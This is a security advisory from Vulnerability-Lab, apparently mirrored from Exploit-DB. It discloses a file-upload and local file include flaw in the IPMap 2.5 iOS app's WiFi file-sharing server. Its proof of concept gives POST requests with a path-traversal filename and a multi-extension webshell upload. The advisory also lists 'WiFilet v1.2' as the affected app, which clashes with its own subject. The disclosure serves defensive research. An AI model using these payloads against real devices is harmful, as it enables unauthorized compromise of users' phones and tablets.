iOS IPMap 2.5 – Arbitrary File Upload

  • 作者: Vulnerability-Lab
    日期: 2013-02-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24543/
  • Title:
    ======
    IPMap v2.5 iPad iPhone - Arbitrary File Upload Web Vulnerabilities
    
    
    Date:
    =====
    2013-02-18
    
    
    References:
    ===========
    http://www.vulnerability-lab.com/get_content.php?id=866
    
    
    VL-ID:
    =====
    866
    
    
    Common Vulnerability Scoring System:
    ====================================
    6.3
    
    
    Introduction:
    =============
    IPMap - IP Address Lookup Details & HTTP Wireless File Sharing with latest WorldWide IP database & FREE Monthly update. 
    Accuracy: Over 99.8% on a country level and 83% on a city level for the US within a 25 mile radius. 
    
    Features:
    Auto Detect & Lookup
    Your Real IP address
    IP address Hostname
    IP address Country Code
    ... ......
    IP address Area Code
    IP location Map
    HTTP Wireless File Sharing
    iTunes File Sync
    Web Upload File Support
    Customizable Background from your Photos Album
    
    (Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 )
    
    
    Abstract:
    =========
    The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone.
    
    
    Report-Timeline:
    ================
    2013-02-18:	Public Disclosure
    
    
    Status:
    ========
    Published
    
    
    Affected Products:
    ==================
    Apple AppStore
    Product: IPMap - iPad iPhone 2.5
    
    
    Exploitation-Technique:
    =======================
    Remote
    
    
    Severity:
    =========
    Critical
    
    
    Details:
    ========
    A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 app 
    for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to 
    request unauthorized local webserver files.
    
    1.1
    The main vulnerbility is located in the upload file script of the webserver (http://192.168.0.10:6123/) when processing to load a manipulated 
    filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing
    of the wifi web application web-server.
    
    1.2
    Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to 
    upload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in the 
    secound step via directory webserver dir listing to compromise the apple iphone or ipad.
    
    Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.
    Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file 
    include or unauthorized file (webshell) upload attacks.
    
    
    Vulnerable Application(s):
    				[+] WiFilet v1.2 - ITunes or AppStore (Apple)
    
    Vulnerable Module(s):
    				[+] File Upload via Submit (Web Server) [Remote]
    
    Vulnerable Parameter(s):
    				[+] file > filename
    
    Affected Module(s):
    				[+] File Dir Index - Listing
    
    
    Proof of Concept:
    =================
    Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.
    For demonstration or reproduce ...
    
    1.1
    PoC: (POST)
    -----------------------------307341202725627
    Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png"
    Content-Type: image/png
    ����
    
    
    Review: File Dir Listing
    
    <html><head>
    <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title>
    <style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif; 
    font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body>
    <h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2>
    <h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;">
    The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2; 
    background:#f0f7fd; color:#4e697a;margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400">
    <strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30">
    <td><a href="http://192.168.0.10:6123/../../../../cmd>home>tmp%00<'">%20%20%20%20&"><iframe src="https://www.exploit-db.com/cmd>home>tmp%00<'">%20%20%20%20&">
    %20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action="" 
    method="post" enctype="multipart/form-data" name="form1" 
    id="form1"><table border="0" cellpadding="0" cellspacing="0" 
    style="text-align:center; margin:0 auto;"><tr 
    height="50"><td width="400"><label>upload file<input 
    type="file" name="file" id="file" /></label></td><td 
    width="400"><label><input type="submit" name="button" 
    id="button" value="Submit" /> <font size="-1">* Please do NOT 
    upload index.htm or 
    index.html</font></label></td></tr></table></form></body></html>
    </iframe></a></td></tr></tbody></table></p></body></html>
    
    
    1.2
    PoC: (POST)
    -----------------------------307341202725627
    Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png"
    Content-Type: image/gif
    
    
    Reference(s):
    http://192.168.0.10:6123/
    
    
    Risk:
    =====
    The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical.
    
    
    Credits:
    ========
    Vulnerability Laboratory [Research Team]-Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
    
    
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    ===========
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